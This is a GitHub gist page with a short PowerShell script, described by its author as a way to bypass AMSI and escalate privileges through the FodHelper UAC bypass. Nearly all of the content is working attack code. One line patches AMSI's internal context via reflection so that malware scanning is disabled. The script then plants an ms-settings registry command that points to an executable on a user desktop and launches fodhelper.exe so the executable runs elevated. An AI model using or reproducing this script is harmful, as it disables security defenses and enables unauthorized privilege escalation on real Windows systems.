Skip to content

Instantly share code, notes, and snippets.

@LongWayHomie

LongWayHomie/UACElevate-FodHelper-AMSI.ps1

Created November 16, 2024 17:22
Show Gist options
  • Save LongWayHomie/356403d8e47095e0e893dad1549f724f to your computer and use it in GitHub Desktop.
Save LongWayHomie/356403d8e47095e0e893dad1549f724f to your computer and use it in GitHub Desktop.
Download ZIP
Script to bypass AMSI in PS and use FodHelper to bypass UAC
Raw
UACElevate-FodHelper-AMSI.ps1
#Bypass AMSI
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
#UAC Bypass
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "C:\Users\bfarmer\Desktop\ph.exe" -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
C:\Windows\System32\fodhelper.exe
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment